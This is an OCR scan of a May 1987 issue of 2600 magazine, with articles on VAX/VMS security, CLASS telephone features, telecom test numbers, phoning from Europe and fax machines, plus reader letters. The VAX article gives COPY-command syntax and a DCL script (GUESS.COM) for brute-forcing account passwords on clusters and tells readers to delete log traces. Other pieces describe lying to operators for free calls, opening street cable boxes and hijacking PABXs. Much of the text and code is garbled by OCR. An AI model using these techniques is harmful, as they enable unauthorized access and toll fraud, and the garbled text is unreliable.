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It's been kind 0/ a running joIre here 
that q we tell peopk to let us know q 
they receive our mtlgazine lflter a cerlllin 
ditte, something will go wrong and 
neorly everyone will receive it lflter that 
date. As a result, wen always inuntIIIted 
with calls. Sina we clumged our format, 
this is but one 0/ mtIIIy problems we've 
been trying to solve. 1/ all goes well, and 
it dIIInn well better, we will be mailing 
on the 18th 0/ May. 1/ you receive this 
much filter than you would a fust closs 
letter, let us know and we'lljind out 
who's dragging what. 

Once the mtliling gets close to routine, 
we'll be/ocusing on distribution. This is 
where readers CdII help us out. AS" it is, 
we've been pretty successful at 
newsstonds here in New York, down in 
the southern part 0/ the country, and in 

London, UK. Success/or us metIIIS 
selling about 80 percent 0/ what we 
send. We have importanJ things to say 
here and we want to reach till kinds 0/ . 
other thinking people throughout the 
world. So, q you know 0/ a/airly decent 
newstond by you, one that sells 
alternative publications, let us know and 
we'll try to distribute there. 

We hope to see some curious /olks at 
our fust pub/k get-together in New 
Yark City. It will taIre pl«e at the 
Citicorp Center at 153 East 53rd Street 
at 5 pm in the Atrium, where aD kinds 0/ 
peopk gather. We'll have 26tJ(J buttons 
and copiD 0/ this issue will be 
everywhen. So stop by and ask some 
questions or bring articles. And q you'd 
like us to come to a city neor you, start 
pestering III now. 
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MOREVAX 
IIrM ....... 

So you're getting tited of the VAX han ging up 
on you after three tries at the system password. 
And your demon-dialer is about to sue you for 
overwork Well, cheer up, fellow hackers. There 
is hope. Assuming your target system is set up as 
a clustered environment, there is an interesting 
weakness that will allow non-privileged users 
unlimited guesses at any account. 

A number of VAXIVMS commands are 
designed to accept a password, username, and a 
node n3lOO along with the file specification. 
These COfIlITlands include COPY, APPEND, and 
DELETE. 

For the sake of consistency, let's use the 
COPY ccmmand. In order to copy the file 

(specifically, doesn't have EXaUOTA) and these 
files aren't purged, you'll eventually overflow his 
allotted disk space and won't be able to � 
any more passwords until someone of authority 
straightens out the account. On the other hcIld , if 
the account has privileges (which is why you're 
trying to guess the password in the first place), 
you need not wonry about this. 

Mo s t  p e o p l e  u s e  e a s i l y - r ememb e r ed 
passwords that you quite like'y can guess just by 
knowing a bit more about them. On the other 
hand, they might use a conglomeration of two or 
more words or numbers. If this is the case, you'll 
probably want to feed the above conmand with a 
password generator. 

LOGIN.COM from a target dl'rectory 'Into your ,..----------------, F01!!'U ',s-,.rF':'I ;E��?.\:'JI! 
non-privileged account renaming it GOT.IT, use 
the follO'A'ing syntax: COPY OSHKOSH"SMITH 
PASSWORD": :DRC5:[SM ITH ] LOGIN . COM 
[]GOT.IT 

This will copy Smith's LOGIN.COM from his 
directory on node named OSHKOSH to your 

r�PLIcr r:-4rEC:? '\-::) r\fT�r;r: � Jf t 7 \ 
DOl �lF "'!u::s :.�" 'O':':Tr:'1 
CII��\C:'!'::"I \(jil.:(;'l,.�.,,:r�] 
:)4 T � % "  \ ' • ' " • , '-: • , ''1 • , ' :': •• 'F' • ' . ;' , ' " , • '::: ' , ' ':' , ' ;': , , ' :. ' , ',,' • 

����:r.; :�:.:: i:;::: ����; :.:����:::�:: :�:.; 
't', '�'. 'z',' S',' -' , 

,D�T� ; . :�:.:;:-:·�:.;�:-:s:.:s:.: : . : >' ',' ', ' ',' ',' " 

00 I � .. ; , i6 

directory (on the same node and device. Just �it):� : l:��l�t�:: ::�\�:u:��;ut�ed �1I"ber HrH 
repeat the same syntax for your directory if your , __ " _' _' .0..., 
account resides elsewhere.) Naturally this 
assumes that SMITH has a LOGIN.COM in his 
directory in the first place, a likely assumption 
although this certainly is grounds to either use a 
different command or restructure it to copy one of 
your files into his directory. 

Now all you have to do is keep guessing at the 
password Unfortunately there is one small catch 
(there al\\'ays is). This will leave a trace. It's 
called NETSERVER.LOG. This file is deposited in 
the target directory every time you enter this 
command and, yes, it has your name in it. 

But th6'e's usually more than one way to skin 
a VAX. Many (not all) VAX cl usters are set up to 
purge the;e NETSERVERs. This means that at 
least there will be fewer traces. Furthermore, if 
you're qutk enough in guessing the password 
before sUlpicions are aroused, just login to his 
account ald delete the ruddy logfiles. 

Now if the target account is not privileged 
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/ 
DIGITS., 
TI"E.I 
counn_o 

500 r:ounER.COC:'ITER+l 
I F{COC'H!R. '£0. )" ..... I�! lTH�'1 

orc I TS _DIG I TS.l :-I�!"·T:��.l 
CO!.:STEit.Q 

£'40 t!" :>{l).':hl,.; 
)0 ZO I_I. :HG1 ':'S 
IY( J{ I I ";T. 1'1 ):-HE� 

)(:'.1 J{ r. i )_v( :.1).1 
20 CO'lT!�CE 

DO )0 ;.1, DIGITS 
C(J I.AI)( J) 

]0 CO�TtyUE 

DO 60 ·J�.I,DrG:TS 
6Q E{8+'I�J.«'f�) 
lOa fOR"f.\T: �O.'" 1 ) 

stat 1.1"_.: bSsp.",n\e , ,3WSSOtltput J 
lot:;! SO 

200 for.,at: t ,16.1) 
... 

\� ______________ �7 



TRICKS 
Below is such a generator. It was quickly put 

together and I'm sure you hackers out there can 
write up a better one. It's here purely to 
demonstrate a technique. 

Now here's where things get a bit sticky. 
Trying to execute the command from within this 
FORTRAN program will bomb its execution upon 
the first privilege violation. The way to do it then 
is to feed the password as a parameter to a DCl 
procedure that continues on error. Thus the 
second program. 

Now pardon me while I remove my tongue 
planted so firmly in my cheek. As you may have 
guessed, I'm a system person. So what's a 
system manager to do about such a weakness? 

First off, simply having two passwords on all 
privileged accounts will make the above 
technique excrutiatingly difficult. In this way, 
your hacker will need two password generators 
running simultaneously (or more practically, in 

the same program) and both passwords will have 
to be guessed simultaneously. 

If this is inconvenient, impractical, or still too 
insecure for you, you'll want to set the audit 
alarm on for network logins. Then, on a periodic 
basis (e.g. nightly), run a batch job that closes 
the operator log and searches it for such failures. 
From here, you have your choice of evasion 
techniques including parsing out the usemame 
and disusing his account. 

C lusters allow a great deal more resources for 
the money. Unfortunately, as your access rate 
climbs so does your intrusion attempt rate. It's 
interesting that communication security has 
lagged system security disproportionately. 
Personally, I think it's a plot by the 2600s. Keep 
it up, fellows! 

L __________________________________ �� 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!! !! 
! ! ! ! ! ' ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! !! PASS\WRD GUESSr.R !!!!!!!!!!!!!! ! ! ! ! ! ! ! 
! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! !! GU ES S • COM !!!!!!!!!!!!!!!!!! ! ! ! ! ! ! ! 
! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! r! ! ! 
$O� EP,ROR THEN CONTINUE 
SON CONTROL Y THEN E X IT 
$COPY OSIIKOSII"SYST EM "PI''': :DRC): [OSHKOSHjLOGIN.COM [jGOT.IT 
$IF $STATUS THEN GOTO CAUGHT 
$EXIT 
$CAUGIIT: 
$OP EN/WRTTE IN FiL E PASS.WORD 
$WRITE IN FILE-"The password for SYSTEM is ",PI 
$CLOS E IN-n LE 
$DELETE PROBE.EXE;" ! thi s will stop execution upon success 

'\ 

The First 2600 Public Get-Together 
Friday, June 5, 1987 

5:00 P.M. 
IN NEW YORK CITY 
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at the Citicorp Center (Atrium), 153 East 53rd St. 
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CLASS: What 
by The Vldeosmlth 

This article will explain the newly developed 
LASS system (AT&T Bell Labs), and how it may 
affect us in the near future. Note that the service 
as it appears for customers is called ''CLASS'', 
the G standing for Gustom. I assume this is just 
for looks. At the time during which this article 
was being initially researched, GLASS was only 
being developed for the #1A ESS switch. At the 
end of the research involved with this article, 
GLASS was already implemented in data stage 
on ESS#5. 

LASS 
The telephone is destined to become a well 

used and powerful tool for otherwise tedious 
tasks. Gas meters and other metered services will 
be surveyed through the use of automatic data 
retrieval employing telephone communications. 
All in all, there are big plans for the uses one 
could put the telephone system up to, and 
GLASS is one plan that is going to drop an 
innovative bombshell on the telecommunicating 
world. 

At this moment, a local GGIS network feature 
is being developed by Bell Laboratories. This 
feature will change the way people use phones, 
and will also change the attitude in which they 
use them. It will give far more control of the 
telephone to the user than ever before. This 
feature is called GLASS (Gustom Local Area 
Signalling Services). 

Everyone will find something useful in this 
newly developed telephone feature. Pizza 
parlours will no longer have to worry about 
fraudulent Italian food mongers, and little old 
ladies won't have to worry about prank calls by 
certain dubious characters. 

What are all these fantastic features? They 
will include call back of the last caller, regardless 
of whether you have their telephone number or 
not. Another will be distinct call waiting tones, 
and preselected call forwarding (only those 
people whom you wish to speak to will be 
forwarded). This is only a rudimentary list of 
GLASS features to come. It is a very powertul 
system, and it all relies on LGGIS (Local 
Gommon Ghannel Interoffice Signalling), an 
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intra-LATA version of the ever-popular GGIS. 
CCIS Background 

GGIS was originally introduced in 1 976 as, 
basica lly, the signalling system to end all 
signalling systems. Instead of using the voice 
grade trunks to carry signalling information, a 
data network would be used. This network is 
comprised of data links from each central office 
(GO) to the appropriate STP (signal transfer 
point). Signalling information is sent through 
these links at 4800 bps to the STPs (note that 
baud rates may increase due to the economic 
availability of faster data communications 
hardware), where stored program control routes 
the signalling information to the needed offices in 
order to open and complete the call path. SPC 
checks automatically for on -h ook/o ff-hook 
status before opening the path, and if the status 
is off-hook (in this case assuming the customer 
does not have the call waiting custom calling 
feature), retums information to the originating 
GO to apply a busy signal to the customer. This is 
but one of many features toll GGIS provides the 
network with. 

Since this text is not centered on the topic of 
toll GGIS, technical aspects aren't as important 
(except for the comparison between the local and 
toll networks for observational purposes)-yet it 
is important to notice how automated and 
flexible this type of signalling method is, not to 
mention its speed and efficiency. All the software 
control involved with local and toll networks is 
called, fittingly, the "stored program control 
network" or ISDN (Integrated Services Digital 
Network). 

CLASS/LCCIS Fllllura 
Using a high-speed data link between local 

offices creates a much more flexible and more 
efficient way for intra-LATA central offices to 
communicate. Instead of using per-trunk 
signalling (using the same trunk used for voice 
transmission to send routing and billing 
information), such data would be sent thru a 
dedicated data link, which interacts with a local 
signal processing and transfer point. From that 
point, signalling information is distributed to 
appropriate central offices or tandtJn switches. 



It Means To Us 
LCC I S will work with the local switches using 

stored program control, keeping track of call 
data. The 1A switches will use what is called 
"scratch pad" memory (also known as call store), 
in conjunction with LCCIS's database, to 
accomplish all the features that LASS provides. 
This memory wi II hold such data as "line history", 
and a "screening list". That information will make 
it possible for auto-redial, selective call 
forwardrng, nuisance call rejection, and 
distinctive call waiting tones. 

Test stage defaults for sOle features: 

DTMF I Puise I Description of Service 

*66 I 1166 I Reconnect last caller 

f63 � 1163 � Selective Call Forward 

*60 I 1160 I Nuisance Call Blocking 

f57 � 1157 � Custoler "Trace" 

Command codes may vary in different 
areas. These were found in a general 
description of CLASS. 

SIIICIIve CF 
Selective call forwarding is defined by the 

subs cr ibe r ( the subscr ibe r  must  have  
conventional call forwarding to  request this. 
service). Using call store, or more specifically the 
screening list, one will be able to selectively 
forward a call to another directory number by 
executing a few simple commands on the friendly 
home-bound telephone (unlike migrating 
telephones most frequently found in hotel 
rooms). An access code (a list will appear at the 
end of the file) will be entered, and a special tone 
will be issued from the subscriber's CO. The 
customer will then dial in the numbers he wants 
forwarded to the particular number. After each 
number, a tone will sound indicating the 
acceptance of the number. Individual BOG's (Bell 
Operating Companies) will be able to define the 
amount of numbers which may be screened. Once 

this is done, the customer hangs up and the ESS 
takes over. Now, whenever someone calls this 
particular customer, the customer's switch will 
compare the calling line's directory number with 
those stored in scratch pad memory. If the CLIO 
matches one of the numbers in 1 A memory 
associated with the called directory number, the 
number is forwarded. If not, the phone will ring at 
the original destination. This in particular could 
make it very difficult on system hackers, as you 
could probably imagine. A company can 
subscribe to this CLASS feature, and enter only 
the numbers of authorized users to be forwarded 
to a computer. Bureaus inside the various 
telephone companies and other sensitive 
operations can screen calls to particular numbers 
by using this service. 

This is a security that's hard to beat, but of 
course there is a way (simple law of nature: 
nothing is fail-safe). There will always be the 
obvious way of finding numbers which are being 
forwarded to, like auto-dialing entire exchanges 
(one after the other). Unfortunately, CLASS will 
be providing other services which might make 
"scanning" seem less attractive. 

Dlllinclin Ringing 
Distinctive ringing is handled in the same 

fashion as selective call forwarding: the screen 
list in scratch pad memory. The customer may 
enter numbers which the ESS should give special 
precedence to, and whenever a call is placed to 
this particular customers number, ESS checkS to 
see whether the CLIO matches a directory 
number listed in the switch's memory. If a match 
is made, the subscriber's CO gives the off-hook 
line a special call waiting tone, or the on-hook 
phone a distinctive ring (possibly using 
abnormally timed ringing voltage-:-some readers 
may picture a British Telecom ring as an 
example, although many foreign audible rings 
tend to be different). 

&III RIjIcIIIn 
Nuisance call rejection, a feature making it 

possible to block certain idiots from ringing your 
phone (a feature we can all benefit from at one 
time or another ... or all of the time), uses the 
information retrieved from LCCIS (CLIO). Let's 

(continued on page 15) 
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the telecoITl infofITler BY JOHN FREEMAN 

E-Card Trial 
A trial for a new AT&T credit card is 

in progress. It's called the E-Card 
(Smart Card). The trial started in 
January 1987 and is scheduled to run for 
six months. One thousand E-Card 
participants were selected to try out the 
new card and 1000 AT&T public 
telephones were modified for E-Card 
capability. These telephones are located 
at airports in 30 cities. 

The E-Card is a credit card with a 
small micro-chip (ROM) and gold 
fingers on the card edge. The E-Card 
can store up to 50 names and telephone 
numbers. It is similar to a credit card 
but has no magnetic strip on it (card 
number and listings are contained in the 
micro-chip). The customer inserts the 
card into the public telephone and his 
directory list will appear on the screen. 
The calling party depresses the digit(s) 
shown next to the person's name he 
wishes to dial. The call is automatically 
outpulsed and charged to the calling 
card number. 

E-Card holders who require assistance 
on how to use the card or encounter a 
service difficulty resulting in a request 
for credit are instructed to call 800-922-
0088. This number is on the modified 
telephones and is also on the screen. 

959 Numbers 

Last month, in the letters column a 
coin phone test number was mentioned. 
This number was 9591230. The 959 
exchange is a test number exchange used 
by AT&T. There are lots of AT&T 
employees and test numbers galore .... 
Often, in a cross-bar switching system, 
you can't reach a 959 number without 
dialing O+NPA+ first (note: this is not an 
operator assisted call). Keep in mind 
that these numbers will vary from town 
to town. And of course, the best thing 
about 959 numbers is that they're free. 
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Coin test: 
o HNPA (Home NPA) 959-1230 

0-959-1230 

959-1230 

Y=O. or 5x=0 through 9 
959-1YOx Milliwat (1004 hertz tone) 
959-IYlx 4ESS Test Board Position 
959-IY2x Milliwat 
959-IY3x Quiet Termination 
959-IY4x Remote Office Test Line 

responder( ROTL) 
959-IY5x ROTL(Type 105 test line) 
959-IY8x Milliwat 
959-IY9x Always Busy 
959-200x White Plains, NY W ATS 

center (X=O,s,6 and 7) 
959-210x Wayne, PA W ATS center 

(X=0,s,6 and 7) 
959-225x Chicago, IL W ATS center 

(X=0-9) 
959-22xx W A TS confirmation 

recording (xx=00-29) 
959-5xxx Test postions, strange men. I 

haven't had time to scan this out. 
There are more numbers than this, but 

this is what I've found as of yet. If 
anyone scans this out send what you get 
into us here at 26{)(). 
(Dan Foley is on vacation.) 



phoning home from europe 
IIr TIll U ... 

The infonnation in this article was gathered 
from experience in the countries mentioned. 

One th ing you have to keep in mind when 
dealing with the telephone systems in other 
countries is that they are inferior to the ones you 
are used to dealing with in the United States. 
This is mainly due to the fact that we invented 
the telephone system and that AT&T and the 
RBOC's (NYNEX, Southwestern Bel l, etc.) are 
private companies whereas most of the telephone 
companies in Europe'are run by the governments 
of those countries. A l l  of the companies were 
public unt i l  September of 1984, when British 
Telecom Internat ional was privatized. 

The first country I visited was England. When I 
was there the Hotel I was staying at told me they 
had a "Direct Line to the United States". I found 
this a bit odd, so I inquired more about it and 
found out about USA Direct, a new service 
offered by AT&T. The service al lows people in 
other countries to cal l the U . S .  v ia a TSPS type 
of operator position located in New York. The 
operators have the country code of the country 
you are cal l ing from and that is al l. Over 50 
countries are handled by the new service. They 
include: United Kingdom (080 089 0011), France 
( 1 9-001 1), The Netherlands (06 022 9111), 
Germany (except Frankfurt) (0 130 0010), 
Australia (001 488 1 01 1 ), Denmark, Spain, 
Japan, Korea, Hong Kong, I ran, Columbia, 
Panama, and a lot of other Central American 
countries. The list of countries is supposed to 
expand within the next year or so. I taly and other 
countries shou ld be jo ining the service soon. I f  
you'd l ike to  f ind out about a specific country you 
plan to visit, cal l  the AT&T Internat ional Long 
Distance tol l free number at 800-874-4000. They 
will be able to give you a more complete list as 
the one I left here gradual ly becomes out of date. 

EDgIIIIII 
Brit ish Telecom International (BTl) has by far 

the most advanced equipment in al l  of Europe. 
Unfortunately, this is not saying very much. They 
are upgrading existing step by step and crossbar 
exchanges to digital switches, namely System X. 
When I was there, though, I only ran into one 
exchange in London that would accept the tones 

. generated by my portable touch-tone generator. 

The operator services of BTl are also far below 
the standards we are used to in the U.S. When 
you dial a BTl international operator (155), they 
w il l  usually keep you wait ing for a few minutes. 
When you do reach an international operator, 
they do not know your telephone number and wi l l 
bel ieve you when you make up one. They can 
p l ace collect calls and ca l l s  us i ng  AT&T 
I nternational Calling Cards. The only problem 
with this method is that if you are staying at a 
hotel you won't be able to reach the USA Direct 
or the BTl international operator via the hotel's 
PBX and you will have to g ive them the call ing 
card number and have them handle it. Both MCI 
and Sprint call the U .K . ,  so it shouldn't be too 
hard for people to call you . 

Another operator you will find useful is the 
l oca l  operator .  They, I ike the  international 
operator, do not have O perator  N umber 
I dentification (ON I ). When making local calls 
you can call the 100 operator and tell them you 
lost 20p in their phone and they w i ll bel ieve you 
.,.,d place the cal l  for you . This works also in 
making calls to other cit ies in England, besides 
London. 

SWltz.-11IIII . 
The next country I ' d  l i k� to d i scuss is  

Switzerland. The telephone company there is a 
branch of the postal service. Central off ices are 
located in the post off ices. The best method 
known to me to call the U.S. is via the 
international operator using an AT&T calling 
card . They require call back on calling card calls 
so you can't make any free cal ls from where you 
are staying . MC I is about the only long distance 
carrier (excluding AT&T) that calls Switzerland. 
The telephone system from what I can interpret is 
a modif ied step by step or crossbar that accepts 
standard international DTMF tones (in some 
exchanges) via an interpreter. They also have 
cable boxes on the street that are locked and can . 

be opened by a standard square wrench. This is 
rather dangerous since the police in Switzerland 
are not very nice and the concept of civil rights is 
not understood . When USA D i rect becomes 
avai lable there it w i l l  be easier to make calls to 
the U.S. from Switzerland. 

(continued on page 16) 

2600 May, 1987 Page 9 



+-------t .. --------.. --.---..... -- ......... --------------.. ,-------.------------.---------------------------------------------------, 
120125' I VAI/YIIS 120520 II ImmSIOS/CO"P TYPE I SYSMm/OWNfI/RESPONSE/COMmS/ETC. 1201334 I poE 'Relianet li,n Oft 1m .. ' 

120530 II 06 ADS/YS "C .------ -.------------.-----------------------------------------------
1201346 I IBM I 

120531 I D6 ADS/VS .. :20101 II. : 
:201350 : Mon., •• 11 : 'USO DI,ic. Typ. I'"lifi,,' :20532 I: D6 AD5/YS 108fOlDOIA '" :20114 I UIT Eltelronic Infor •• lion hch.ng. S,.I •• (EIE5) 

:201431 I VAIIVRS I SIS 31 :20534 I: = :20115 : ml EI.clronic Inforlilion hch.n,. 5,.1 •• mES) 
:201436 : : PriNcOi •• !wort Sy.h. 36 , :20536 I: :20110 IB" VM/370: 
:437-448: I Prilfco. Mtl.ort Systll 37 10 48 rllpKI . .. I, 

:20537 I: 06 ADS/VS : 108FOID03A U.S. Fornlr, Stniet :10125 : MJIT Eleclronlc Inforullon E.chlng. S,.t •• (EIES) 
:201449 : : PrilfCOi ... I.ort 5YIIII 49 :2054S I: D6 AD5/VS : R08I"OID04A U.S. fornlr, Stniet :. : 20118 IOPS-IO : NDC - SYSIE": 

.-------.------------.-------------------------------------------------.- t-------.------------.----------------------· .. --·-----':" :20130 10PS-10 : MDC - mm: :20210 Prilf 
:20620 I: 111'-3000 : ... in, - :10131 I: vwm :20230 1111 EDS Ti ••• huing :20630 I: HP-30oo : 'Of in, � :10131 : : Dunn' 8r1dst ... t :20232 1111 EOS Ti ... huing 
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Put Letters 
New Toys 
Dear 2600: 

Here's some interesting information 
that 2600 readers might be interested 
in. 

US West has introduced their new 
MP OW (Mu l t i-P u r p o s e  Op e r a t o r  
Workstation) which converts any IBM­
compatible PC into a complete TSPS 
console with advanced capabi I ities. I'm 
sure many 2600 readers with PC's will 
find this concept intriguing. Perhaps 
there is a way to obtain and copy the 
board(s) and software. 

Miters new telco product catalog 
describes several interesting products, 
including M F-tone generators and 
receivers, and a dialed-digit recorder. 
The latter is capable of "blue-box 
detection" and detects and prints out 
all 2600 hertz and MF-tone activity in 
red, triggers external alarms, and 
prints out all other line activity as well. 
No doubt phreaks have been busted 
with the help of this device. 

Radio Shack now has a budget 
version of this for under $100. Their 
compact device prints out all dialed 
digits (touch tone and pulse) as well as 
the start and end times of all incoming 
and outgoing calls. Until now nothing 
coming close to this in capability was 
available for under $1000. Law­
enforcement types will undoubtedly be 
using this updated version of the pen­
r e g i s t e r  i n  v a r i o u s  "f i s h i n g  
expeditions." It's interesting to note 
that the use of such equipment by 
police does not require a warrant, 
which means they can (and do) use it to 
snoop on whomever they choose to 
without worrying about wiretapping 
regulations. 

On a m o r e  u p b e a t  n o t e ,  I ' v e  
discovered that the Mitel S200 PABX 
w h e r e  I w o r k  is ext e r n a l l y  p r o­
grammable by modem, and can be 
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programmed to forward calls, among 
o t h e r  th i n g s .  I s u s p e c t  m a n y  
businesses with W A T S  lines and 
n e w e r  e l e c t r o n i c  P ABX ' s  a r e  
vulnerable t o  this "roll your own" 
approach to WATS extending. PABX's 
are fascinating-they're amazingly 
complex, versatile ... and vulnerable. 
With a programming manual and a 
little inside knowledge or hacking skill, 
one can manipulate a company's entire 
telephone system from afar. Definitely 
worth checking into! I'd be interested 
in finding out what other 2600 readers 
have discovered about this subject. 

Bernie S. 
Thanks for the info. We must add 

that the new Radio Shack toy is, to say 
the least. incredible. See the article in 
this issue for a review. 

Is it really true that the police don't 
need a warrant to use that instrument? 
Where do they attach it? They must 
need some kind of permission from 
someone to either climb a telephone 
pole, install the thing inside the central 
office, or plug it into the side of a house. 

Explain Yourselves 
Dear 2600: 

I am not a hacker or a ph reak, and in 
fact I'm not really literate in these 
matters, but I occasionally peruse your 
magazine. I am aware that you intend 
to undertake a strategy to increase 
your circulation, perhaps including 
newsstand sales. If this plan is to 
succeed, you are going to have to 
appeal to others like myself, with little 
or no understanding of electronics. In 
this connection, I would like to make a 
suggestion concerning the readability 
of your publication. 

Every field of expertise inevitably 
develops its own jargon or lexicon 
w h i c h, f o r  t h e  m o st p a r t ,  i s  
impenetrable to those uninitiated in 



Headline Here 
that particular field. This is true of 
t h e o r e t i c a l  p h y s i c s  a n d  p s y c h o­
analysis, philosophy, and high finance, 
and it is true of computer hacking. 

For example, in a recent issue you 
printed an article entitled Getting the 
Most Out of Equal Access in which you 
state, among other mysterious things, 
that one can make long distance calls 
by d i a l i n g  10nn n ,  e t c .  T h e  f i r s t  
question that comes to m y  mind is, how 
exactly does one dial "nnn"? Are you 
referring to the letter "N " which is 
printed with the number 6 on the 
telephone? Well, possibly, but I think 
not, because the letters on the phone 
are printed in upper case, but your n's 
were printed in lower case, suggesting 
that these letters are symbolic of some 
operation or piece of equipment known 
only to the initiated few. 

So, after having read the article, I am 
left with the burning and unanswered 
question: Just exactly how does one 
dial "nnn"? Or, perhaps more to the 
point: Just exactly what does this 
t h r i c e  r e p e a t e d  l o w e r  c a s e  "n" 
symbolize? This, incidentally, is just 
one instance of a problem which I find 
recurring frequently in virtually every 
issue, and the fact is that people aren't 
going to purchase what they can't 
understand. 

However, I believe there is a rather 
simple solution to this difficulty: I 
suggest that, in each issue, you include 
a glossary in which you give clear, 
"ordinary language" definitions of all 
the technical terms and symbols used 
in that issue. In this way you will not 
only broaden your readership, but you 
will also provide a valuable educational 
service to the public. I hope you will 
consider this suggestion, or some 
similar alternative, as I believe it is 
pol itica lIy da ngerous for the majority of 
the public to be, like me, computer-

illiterate in this day and age. 
Furtively, 
Izzy Hear 

You raise many good points. Let us 
first answer your question. Generally, 
whenever you see small n's or x's, they 
indicate variables, or single digit 
numbers that are as yet undefined If 
you look at the article in question, you 
should see a list of 3-digit numbers. 
T h e s e  n u mbers are in fa c t  t h e  
mysterious nnn's. But, if equal access 
isn't installed where you are, those 
numbers won't do a thing except 
confuse your local switching center. 

We are encouraging our writers to 
explain their terms either throughout 
their articles or at the end in a type of 
glossary. But. obviously, we can't keep 
repeating the same explanations. 
Some of our readers already accuse us 
of being too simplistic and elementary! 
What we are trying to do is explain 
things as we go along, which is what 
we've been doing since Issue 1. Our 
magazine is not a one time deal that 
you read and discard, but reference 
material that is stored away and looked 
at whenever the need arises. That's 
why we keep the back issues available, 
so we don't have to keep repeating the 
same information. 

On another note, do you really think 
people aren't going to buy what they 
can't understand? Check out all of the 
folks who buy computers and don't 
know what to do with them when they 
plug them in! Answering machines, 
VCR's, telephone systems, even TV 
Gu id e-it's a l l becom i n g  inco m­
prehensible to thlf;.average people of 
the world But that mere fact doesn't 
s e e m  t o· be a ffecti n g  s a l es. The 
emphasis seems to be on possession 
rather than comprehension. That's 
why the hackers are thriving in this 
world-they understand the tech-

(continued on page 17) 
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FAX: A New Hobby 
IIy Bnil S. 

Occasionally when scanning phone numbers 
you ' l l  come across what sounds l ike a computer 
modem carrier but isn't .  What it often turns out to 
be is a facsimi le (FAX) machine. For those 
unaware of i t ,  a FAX machine lets you send 
printed info (text , diagrams, or photos) over a 
phone l ine or radio l ink. Like computer modems, 
they use a carrier tone, but it is a d ifferent 
f r e q u e n c y  a n d  u n l i k e  " n o rm a l "  d a t a  
communications. 

A FAX machine scans a printed document 
using an optical sensor that sweeps over the print 
detecting l ight and dark sections of the paper. 
There are presently three common FAX standards 
in use : Group I ,  I I ,  and I I I .  Unt i l  fairly recently, 
most FAX transmissions were of the Group I 
variety . Group I machines (many of which are 
st i l l  in use) use a rotat ing drum that the 
document is c l amped to wh i l e  the sensor 
traverses the length of the drum slowly. The l ight 
and dark sect ions modulate the carrier tone 
frequency which is transmitted over the phone 
l ine to another FAX machine. At the other end, it 
works in reverse-the modu l ated tone i s  
translated back into an image by a hi-voltage 
stylus which scans over a blank sheet of 
e lectrostat ic ly-sensi t ive paper, "burn ing" the 
image onto the sheet . (This makes a rank smel l ;  
real old machines would f i l l  a room with smoke! )  
Group I transmissions typical ly take 6 minutes 
for an 8 Vz by 11 inch sheet . 

With the advent of cheap dig itaI IC's, Group I I  
and I I I  standards emerged which transmit signals 
digital ly (not unl ike computer modems) .  The 
fastest group I I I  machines can send a dorunent 
in less than a minute at 9600 baud, the l imit for 
uncondit ioned dial-up phone l ines. A Group IV 
standard now exists which is much faster but 
requires Bel l DDS or simi lar dedicated digital 
lines. The mechanical drum is now obsolete-a 
sheet is simply "dropped in" a newer FAX 
machine in which a t ight row of phototransistors 
scans the whole document as it's pulled in 
between smal l motor-driven rol lers. For output, 
ink-jet or simi lar printing technology prints out 
the received document. 

For experimenters with l itt le (or no) money, a 
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lot of companies are getting rid of their older 
Group I and I I  machines for cheap-I got an 
Exxon Quip 1200 Group I FAX from a local 
newspaper for $50, and they threw in about ten 
reams of the special paper. This model was very 
popular about six years ago, and sold for about 
$1000. Look around! Most Group I I  and I I I  
mach ines can be switched into Group I mode for 
compatibi l ity. Some newer machines double as 
copiers , though you can cheat and use a tape 
recorder to "play" a document back into a 
machine to get a copy in a pinch. Eventually, a 
FAX mach i ne / l aser pr in ter/copier w i l l  be 
invented and wi l l  be a standard office machine 
everywhere. Expensive PC add-on cards exist 
that coovert a PC and printer into a fax that' l l  
store images on  disk , but  they're almost as 
expensive as a new FAX machine! 

"If you have a shortwave 
receiver with a BFO, you 
can pick up FAX images 
r e la y e d  fr o m  we a th e r  
sateflites, wire and press 
serv;ce photos, etc. 

I I  

Now we can al l send schematics, drawings, 
and phvtos over the phone for cheap-just l ike 
the b ig  Boys do. I may be the first to coin a new 
term: PHAXing ! As an added bonus, if you have a 
shortwave receiver with a BFO, you can pick up 
FAX images relayed from weather satel lites, wire 
and press service photos, etc. before everybody 
else seES them. Some minor modifications are 
needed to convert the speed since they use non­
standard scan rates, but it's worth the effort. 

I hope you're al l  tumed on to this "new" hobby. 
Let's see some enthusiasm CI1d support for FAX!  



CLASS 
say rustomer A calls rustorner B. Customer B 
happens to despise customer A, and keys in a 
special code. ESS again takes over and looks at 
the CU D infonnation, and stores the calling line 
d irectory number in a specia l screen l ist 
associated with rustomer B.  The next time 
customer A tries calling customer B ,  the 
terminating office will reroute the call to a local 
(the originating CO) digitized recording tel l ing 
rustomer A that the call he made cannot be 
completed due to rustomer B's request ("I'm 
sony, but the rustomer you have tried to reach 
wishes you were eaten by a rabid cannibal on 
drugs").  

0111 aa 
To create such a feature as "dial back" (for 

cal led or calling party) , the ESS scratch pad 
memory is used again. The same principles are 
used as are employed in the already established 
rustom calling feature, auto-redial .  CU D wil l  be 
used in the following way. 

Your ESS switch wil l keep track of who you 
called last ,  and who called you last,  through the 
retrieval of calling line infonnation provided by 
LCCI S in conjunction with your switch. (Your 
switch will know what number you called last by 
directly storing the digits you dialed previously. 
L ocal s ignalling w i l l  p rovide cal l ing l i n e  
i n f o r m a t i o n  v i a  LCG I S  c a l l  i n f o r m a t i o n  
forwarding using the data link mentioned.) This 
way, with your access code you wil l  have total 
re-dial service. 

� Tr-. 
This type of memory handling and signal l ing 

method wil l  also al low the feature that everyone 
was afraid would abolish "phreaking". Subscriber 
initiated tracing, using the last caller directory 
number stored at your CO , wil l  be available as far 
as Bell Laboratories is concerned. There seem to 
be two types of "rustomer originated trace" .  One 
will forward the number to local authorities, at 
which it wi l l  be handled through the police. The . 

other feature AT&T /Bell Labs is working on will 
be a display module that will sit by your phone, 
and wi l l  display call ing directory nLmbers. All 
other CLASS features that use the calling l ine 
infonnation are used at the discretion of the 
caller. The customer originated trace, however, 
